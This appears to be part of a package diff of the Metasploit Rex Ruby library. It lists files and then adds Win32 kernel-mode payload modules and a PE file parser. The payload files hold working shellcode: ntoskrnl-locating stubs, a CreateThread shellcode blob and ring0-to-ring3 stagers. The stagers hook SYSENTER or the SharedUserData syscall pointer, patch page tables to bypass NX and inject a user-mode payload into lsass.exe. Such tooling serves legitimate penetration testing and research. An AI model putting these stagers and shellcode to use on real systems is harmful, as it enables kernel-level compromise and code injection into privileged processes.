  462. data/lib/rex/ui/progress_tracker.rb +97 -0
  463. data/lib/rex/ui/subscriber.rb +160 -0
  464. data/lib/rex/ui/text/color.rb +98 -0
  465. data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
  466. data/lib/rex/ui/text/input.rb +119 -0
  467. data/lib/rex/ui/text/input/buffer.rb +79 -0
  468. data/lib/rex/ui/text/input/readline.rb +129 -0
  469. data/lib/rex/ui/text/input/socket.rb +96 -0
  470. data/lib/rex/ui/text/input/stdio.rb +46 -0
  471. data/lib/rex/ui/text/irb_shell.rb +62 -0
  472. data/lib/rex/ui/text/output.rb +86 -0
  473. data/lib/rex/ui/text/output/buffer.rb +62 -0
  474. data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
  475. data/lib/rex/ui/text/output/file.rb +44 -0
  476. data/lib/rex/ui/text/output/socket.rb +44 -0
  477. data/lib/rex/ui/text/output/stdio.rb +53 -0
  478. data/lib/rex/ui/text/output/tee.rb +56 -0
  479. data/lib/rex/ui/text/progress_tracker.rb +57 -0
  480. data/lib/rex/ui/text/shell.rb +403 -0
  481. data/lib/rex/ui/text/table.rb +346 -0
  482. data/lib/rex/zip.rb +96 -0
  483. data/lib/rex/zip/archive.rb +130 -0
  484. data/lib/rex/zip/blocks.rb +184 -0
  485. data/lib/rex/zip/entry.rb +122 -0
  486. data/lib/rex/zip/jar.rb +283 -0
  487. data/lib/rex/zip/samples/comment.rb +32 -0
  488. data/lib/rex/zip/samples/mkwar.rb +138 -0
  489. data/lib/rex/zip/samples/mkzip.rb +19 -0
  490. data/lib/rex/zip/samples/recursive.rb +58 -0
  491. metadata +536 -0
@@ -0,0 +1,55 @@
1
+ # -*- coding: binary -*-
2
+ module Rex
3
+ module Payloads
4
+ module Win32
5
+ module Kernel
6
+
7
+ require 'rex/payloads/win32/common'
8
+
9
+ #
10
+ # This class provides common methods that may be shared across more than
11
+ # one kernel-mode payload. Many of these are from the following paper:
12
+ #
13
+ # http://www.uninformed.org/?v=3&a=4&t=sumry
14
+ #
15
+ module Common
16
+
17
+ #
18
+ # Returns a stub that will find the base address of ntoskrnl and
19
+ # place it in eax. This method works by using an IDT entry. Credit
20
+ # to eEye.
21
+ #
22
+ def self.find_nt_idt_eeye
23
+ "\x8b\x35\x38\xf0\xdf\xff\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7"
24
+ end
25
+
26
+ #
27
+ # Returns a stub that will find the base address of ntoskrnl and
28
+ # place it in eax. This method uses a pointer found in KdVersionBlock.
29
+ #
30
+ def self.find_nt_kdversionblock
31
+ "\x31\xc0\x64\x8b\x40\x34\x8b\x40\x10"
32
+ end
33
+
34
+ #
35
+ # Returns a stub that will find the base address of ntoskrnl and
36
+ # place it in eax. This method uses a pointer found in the
37
+ # processor control region as a starting point.
38
+ #
39
+ def self.find_nt_pcr
40
+ "\xa1\x2c\xf1\xdf\xff\x66\x25\x01\xf0\x48\x66\x81\x38\x4d\x5a\x75\xf4"
41
+ end
42
+
43
+ #
44
+ # Alias for resolving symbols.
45
+ #
46
+ def self.resolve_call_sym
47
+ Rex::Payloads::Win32::Common.resolve_call_sym
48
+ end
49
+
50
+ end
51
+
52
+ end
53
+ end
54
+ end
55
+ end
@@ -0,0 +1,13 @@
1
+ # -*- coding: binary -*-
2
+ module Rex
3
+ module Payloads
4
+ module Win32
5
+ module Kernel
6
+
7
+ module Migration
8
+ end
9
+
10
+ end
11
+ end
12
+ end
13
+ end
@@ -0,0 +1,51 @@
1
+ # -*- coding: binary -*-
2
+ module Rex
3
+ module Payloads
4
+ module Win32
5
+ module Kernel
6
+
7
+ #
8
+ # Recovery stubs are responsible for ensuring that the kernel does not crash.
9
+ # They must 'recover' after the exploit has succeeded, either by consuming
10
+ # the thread or continuing it on with its normal execution. Recovery stubs
11
+ # will often be exploit dependent.
12
+ #
13
+ module Recovery
14
+
15
+ #
16
+ # The default recovery method is to spin the thread
17
+ #
18
+ def self.default(opts = {})
19
+ spin(opts)
20
+ end
21
+
22
+ #
23
+ # Infinite 'hlt' loop.
24
+ #
25
+ def self.spin(opts = {})
26
+ "\xf4\xeb\xfd"
27
+ end
28
+
29
+ #
30
+ # Restarts the idle thread by jumping back to the entry point of
31
+ # KiIdleLoop. This requires a hard-coded address of KiIdleLoop.
32
+ # You can pass the 'KiIdleLoopAddress' in the options hash.
33
+ #
34
+ def self.idlethread_restart(opts = {})
35
+ # Default to fully patched XPSP2
36
+ opts['KiIdleLoopAddress'] = 0x804dbb27 if opts['KiIdleLoopAddress'].nil?
37
+
38
+ "\x31\xC0" + # xor eax,eax
39
+ "\x64\xC6\x40\x24\x02" + # mov byte [fs:eax+0x24],0x2
40
+ "\x8B\x1D\x1C\xF0\xDF\xFF" + # mov ebx,[0xffdff01c]
41
+ "\xB8" + [opts['KiIdleLoopAddress']].pack('V') + # mov eax, 0x804dbb27
42
+ "\x6A\x00" + # push byte +0x0
43
+ "\xFF\xE0" # jmp eax
44
+ end
45
+
46
+ end
47
+
48
+ end
49
+ end
50
+ end
51
+ end
@@ -0,0 +1,195 @@
1
+ # -*- coding: binary -*-
2
+ module Rex
3
+ module Payloads
4
+ module Win32
5
+ module Kernel
6
+
7
+ #
8
+ # Stagers are responsible for reading in another payload and executing it.
9
+ # The reading in of the payload may actually be as simple as copying it to
10
+ # another location. The executing of it may be done either directly or
11
+ # indirectly.
12
+ #
13
+ module Stager
14
+
15
+ #
16
+ # Works on Vista, Server 2008 and 7.
17
+ #
18
+ # Full assembly source at:
19
+ # /msf3/external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
20
+ #
21
+ # This payload works as follows:
22
+ # * Our sysenter handler and ring3 stagers are copied over to safe location.
23
+ # * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
24
+ # * The ring0 thread we are in is placed in a halted state.
25
+ # * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
26
+ # * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
27
+ # * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
28
+ # * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
29
+ # * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
30
+ #
31
+ def self.stager_sysenter_hook( opts = {} )
32
+
33
+ # The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
34
+ pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00
35
+
36
+ # The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
37
+ kstager = opts['StagerAddressKernel'] || 0xFFDF0400
38
+
39
+ # The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
40
+ ustager = opts['StagerAddressUser'] || 0x7FFE0400
41
+
42
+ # Target SYSTEM process to inject ring3 payload into.
43
+ process = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')
44
+
45
+ # A simple hash of the process name based on the first 4 wide chars.
46
+ # Assumes process is located at '*:\windows\system32\'.
47
+ checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 )
48
+
49
+ # The ring0 -> ring3 payload blob.
50
+ r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
51
+ "\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
52
+ "\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
53
+ "\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
54
+ "\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
55
+ "\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
56
+ "\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
57
+ "\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
58
+ "\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
59
+ "\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
60
+ "\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
61
+ "\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
62
+ "\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
63
+
64
+ # The ring3 payload.
65
+ r3 = ''
66
+ r3 += _createthread() if opts['CreateThread'] == true
67
+ r3 += opts['UserModeStub'] || ''
68
+
69
+ # Patch in the required values.
70
+ r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + r3.length - 0x1C ) ].pack("V") )
71
+ r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
72
+ r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
73
+ r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
74
+ r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
75
+
76
+ # Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
77
+ return r0 + r3
78
+ end
79
+
80
+ #
81
+ # XP SP2/2K3 SP1 ONLY
82
+ #
83
+ # Returns a kernel-mode stager that transitions from r0 to r3 by placing
84
+ # code in an unused portion of SharedUserData and then pointing the
85
+ # SystemCall attribute to that unused portion. This has the effect of
86
+ # causing the custom code to be called every time a user-mode process
87
+ # tries to make a system call. The returned payload also checks to make
88
+ # sure that it's running in the context of lsass before actually running
89
+ # the embedded payload.
90
+ #
91
+ def self.sud_syscall_hook(opts = {})
92
+ r0_recovery = opts['RecoveryStub'] || Recovery.default
93
+ r3_payload = opts['UserModeStub'] || ''
94
+ r3_prefix = _run_only_in_win32proc_stub("\xff\x25\x08\x03\xfe\x7f", opts)
95
+ r3_size = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4
96
+
97
+ r0_stager =
98
+ "\xEB" + [0x22 + r0_recovery.length].pack('C') + # jmp short 0x27
99
+ "\xBB\x01\x03\xDF\xFF" + # mov ebx,0xffdf0301
100
+ "\x4B" + # dec ebx
101
+ "\xFC" + # cld
102
+ "\x8D\x7B\x7C" + # lea edi,[ebx+0x7c]
103
+ "\x5E" + # pop esi
104
+ "\x6A" + [r3_size].pack('C') + # push byte num_dwords
105
+ "\x59" + # pop ecx
106
+ "\xF3\xA5" + # rep movsd
107
+ "\xBF\x7C\x03\xFE\x7F" + # mov edi,0x7ffe037c
108
+ "\x39\x3B" + # cmp [ebx],edi
109
+ "\x74\x09" + # jz
110
+ "\x8B\x03" + # mov eax,[ebx]
111
+ "\x8D\x4B\x08" + # lea ecx,[ebx+0x8]
112
+ "\x89\x01" + # mov [ecx],eax
113
+ "\x89\x3B" + # mov [ebx],edi
114
+ r0_recovery +
115
+ "\xe8" + [0xffffffd9 - r0_recovery.length].pack('V') + # call 0x2
116
+ r3_prefix +
117
+ r3_payload
118
+
119
+ return r0_stager
120
+ end
121
+
122
+ protected
123
+
124
+ #
125
+ # Stub to run a prepended ring3 payload in a new thread.
126
+ #
127
+ # Full assembly source at:
128
+ # /msf3/external/source/shellcode/windows/x86/src/single/createthread.asm
129
+ #
130
+ def self._createthread
131
+ r3 = "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
132
+ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
133
+ "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
134
+ "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
135
+ "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
136
+ "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
137
+ "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
138
+ "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
139
+ "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
140
+ "\x31\xC0\x50\x50\x50\x8D\x9D\xA0\x00\x00\x00\x53\x50\x50\x68\x38" +
141
+ "\x68\x0D\x16\xFF\xD5\xC3\x58"
142
+ return r3
143
+ end
144
+
145
+ #
146
+ # This stub is used by stagers to check to see if the code is
147
+ # running in the context of a user-mode system process. By default,
148
+ # this process is lsass.exe. If it isn't, it runs the code
149
+ # specified by append. Otherwise, it jumps past that code and
150
+ # into what should be the expected r3 payload to execute. This
151
+ # stub also makes sure that the payload does not run more than
152
+ # once.
153
+ #
154
+ def self._run_only_in_win32proc_stub(append = '', opts = {})
155
+ opts['RunInWin32Process'] = "lsass.exe" if opts['RunInWin32Process'].nil?
156
+
157
+ process = opts['RunInWin32Process'].downcase
158
+ checksum =
159
+ process[0] +
160
+ (process[2] << 8) +
161
+ (process[1] << 16) +
162
+ (process[3] << 24)
163
+
164
+ "\x60" + # pusha
165
+ "\x6A\x30" + # push byte +0x30
166
+ "\x58" + # pop eax
167
+ "\x99" + # cdq
168
+ "\x64\x8B\x18" + # mov ebx,[fs:eax]
169
+ "\x39\x53\x0C" + # cmp [ebx+0xc],edx
170
+ "\x74\x26" + # jz 0x5f
171
+ "\x8B\x5B\x10" + # mov ebx,[ebx+0x10]
172
+ "\x8B\x5B\x3C" + # mov ebx,[ebx+0x3c]
173
+ "\x83\xC3\x28" + # add ebx,byte +0x28
174
+ "\x8B\x0B" + # mov ecx,[ebx]
175
+ "\x03\x4B\x03" + # add ecx,[ebx+0x3]
176
+ "\x81\xF9" + [checksum].pack('V') + # cmp ecx,prochash
177
+ "\x75\x10" + # jnz 0x5f
178
+ "\x64\x8B\x18" + # mov ebx,[fs:eax]
179
+ "\x43" + # inc ebx
180
+ "\x43" + # inc ebx
181
+ "\x43" + # inc ebx
182
+ "\x80\x3B\x01" + # cmp byte [ebx],0x1
183
+ "\x74\x05" + # jz 0x5f
184
+ "\xC6\x03\x01" + # mov byte [ebx],0x1
185
+ "\xEB" + [append.length + 1].pack('C') + # jmp stager
186
+ "\x61" + append # restore regs
187
+ end
188
+
189
+
190
+ end
191
+
192
+ end
193
+ end
194
+ end
195
+ end
@@ -0,0 +1,10 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module PeParsey
5
+
6
+ end
7
+ end
8
+
9
+ require 'rex/peparsey/pe'
10
+ require 'rex/peparsey/pe_memdump'
@@ -0,0 +1,30 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module PeParsey
5
+
6
+ class PeError < ::RuntimeError
7
+ end
8
+
9
+ class ParseError < PeError
10
+ end
11
+
12
+ class DosHeaderError < ParseError
13
+ end
14
+
15
+ class FileHeaderError < ParseError
16
+ end
17
+
18
+ class OptionalHeaderError < ParseError
19
+ end
20
+
21
+ class BoundsError < PeError
22
+ end
23
+
24
+ class WtfError < PeError
25
+ end
26
+
27
+ class SkipError < PeError
28
+ end
29
+
30
+ end end
@@ -0,0 +1,210 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/image_source'
4
+ require 'rex/peparsey/exceptions'
5
+ require 'rex/peparsey/pebase'
6
+ require 'rex/peparsey/section'
7
+ require 'rex/struct2'
8
+
9
+ module Rex
10
+ module PeParsey
11
+ class Pe < PeBase
12
+
13
+ def initialize(isource)
14
+
15
+ #
16
+ # DOS Header
17
+ #
18
+ # Parse the initial dos header, starting at the file beginning
19
+ #
20
+ offset = 0
21
+ dos_header = self.class._parse_dos_header(isource.read(offset, IMAGE_DOS_HEADER_SIZE))
22
+
23
+ #
24
+ # File Header
25
+ #
26
+ # If there is going to be a PE, the dos header tells us where to find it
27
+ # So now we try to parse the file (pe) header
28
+ #
29
+ offset += dos_header.e_lfanew
30
+
31
+ # most likely an invalid e_lfanew...
32
+ if offset > isource.size
33
+ raise FileHeaderError, "e_lfanew looks invalid", caller
34
+ end
35
+
36
+ file_header = self.class._parse_file_header(isource.read(offset, IMAGE_FILE_HEADER_SIZE))
37
+
38
+ #
39
+ # Optional Header
40
+ #
41
+ # After the file header, we find the optional header. Right now
42
+ # we require a optional header. Despite it's name, all binaries
43
+ # that we are interested in should have one. We need this
44
+ # header for a lot of stuff, so we die without it...
45
+ #
46
+ offset += IMAGE_FILE_HEADER_SIZE
47
+ optional_header = self.class._parse_optional_header(
48
+ isource.read(offset, file_header.SizeOfOptionalHeader)
49
+ )
50
+
51
+ if !optional_header
52
+ raise OptionalHeaderError, "No optional header!", caller
53
+ end
54
+
55
+ base = optional_header.ImageBase
56
+
57
+ #
58
+ # Section Headers
59
+ #
60
+ # After the optional header should be the section headers.
61
+ # We know how many there should be from the file header...
62
+ #
63
+ offset += file_header.SizeOfOptionalHeader
64
+
65
+ num_sections = file_header.NumberOfSections
66
+ section_headers = self.class._parse_section_headers(
67
+ isource.read(offset, IMAGE_SIZEOF_SECTION_HEADER * num_sections)
68
+ )
69
+
70
+ #
71
+ # End of Headers
72
+ #
73
+ # After the section headers (which are padded to FileAlignment)
74
+ # we should find the section data, described by the section
75
+ # headers...
76
+ #
77
+ # So this is the end of our header data, lets store this
78
+ # in an image source for possible access later...
79
+ #
80
+ offset += IMAGE_SIZEOF_SECTION_HEADER * num_sections
81
+ offset = self.class._align_offset(offset, optional_header.FileAlignment)
82
+
83
+ header_section = Section.new(isource.subsource(0, offset), 0, nil)
84
+
85
+ #
86
+ # Sections
87
+ #
88
+ # So from here on out should be section data, and then any
89
+ # trailing data (like authenticode and stuff I think)
90
+ #
91
+
92
+ sections = [ ]
93
+
94
+ section_headers.each do |section_header|
95
+
96
+ rva = section_header.VirtualAddress
97
+ size = section_header.SizeOfRawData
98
+ file_offset = section_header.PointerToRawData
99
+
100
+ sections << Section.new(
101
+ isource.subsource(file_offset, size),
102
+ rva,
103
+ section_header
104
+ )
105
+ end
106
+
107
+
108
+
109
+ #
110
+ # Save the stuffs!
111
+ #
112
+ # We have parsed enough to load the file up here, now we just
113
+ # save off all of the structures and data... We will
114
+ # save our fake header section, the real sections, etc.
115
+ #
116
+
117
+ #
118
+ # These should not be accessed directly
119
+ #
120
+
121
+ self._isource = isource
122
+
123
+ self._dos_header = dos_header
124
+ self._file_header = file_header
125
+ self._optional_header = optional_header
126
+ self._section_headers = section_headers
127
+
128
+ self.image_base = base
129
+ self.sections = sections
130
+ self.header_section = header_section
131
+
132
+ self._config_header = _parse_config_header()
133
+ self._tls_header = _parse_tls_header()
134
+
135
+ # These can be accessed directly
136
+ self.hdr = HeaderAccessor.new
137
+ self.hdr.dos = self._dos_header
138
+ self.hdr.file = self._file_header
139
+ self.hdr.opt = self._optional_header
140
+ self.hdr.sections = self._section_headers
141
+ self.hdr.config = self._config_header
142
+ self.hdr.tls = self._tls_header
143
+ self.hdr.exceptions = self._exception_header
144
+
145
+ # We load the exception directory last as it relies on hdr.file to be created above.
146
+ self._exception_header = _load_exception_directory()
147
+ end
148
+
149
+ #
150
+ # Return everything that's going to be mapped in the process
151
+ # and accessable. This should include all of the sections
152
+ # and our "fake" section for the header data...
153
+ #
154
+ def all_sections
155
+ [ header_section ] + sections
156
+ end
157
+
158
+ #
159
+ # Returns true if this binary is for a 64-bit architecture.
160
+ #
161
+ def ptr_64?
162
+ [
163
+ IMAGE_FILE_MACHINE_IA64,
164
+ IMAGE_FILE_MACHINE_ALPHA64,
165
+ IMAGE_FILE_MACHINE_AMD64
166
+ ].include?(self._file_header.Machine)
167
+ end
168
+
169
+ #
170
+ # Returns true if this binary is for a 32-bit architecture.
171
+ # This check does not take into account 16-bit binaries at the moment.
172
+ #
173
+ def ptr_32?
174
+ ptr_64? == false
175
+ end
176
+
177
+ #
178
+ # Converts a virtual address to a string representation based on the
179
+ # underlying architecture.
180
+ #
181
+ def ptr_s(va)
182
+ (ptr_32?) ? ("0x%.8x" % va) : ("0x%.16x" % va)
183
+ end
184
+
185
+ #
186
+ # Converts a file offset into a virtual address
187
+ #
188
+ def file_offset_to_va(offset)
189
+ image_base + file_offset_to_rva(offset)
190
+ end
191
+
192
+ #
193
+ # Read raw bytes from the specified offset in the underlying file
194
+ #
195
+ # NOTE: You should pass raw file offsets into this, not offsets from
196
+ # the beginning of the section. If you need to read from within a
197
+ # section, add section.file_offset prior to passing the offset in.
198
+ #
199
+ def read(offset, len)
200
+ _isource.read(offset, len)
201
+ end
202
+
203
+ def size
204
+ _isource.size
205
+ end
206
+ def length
207
+ _isource.size
208
+ end
209
+
210
+ end end end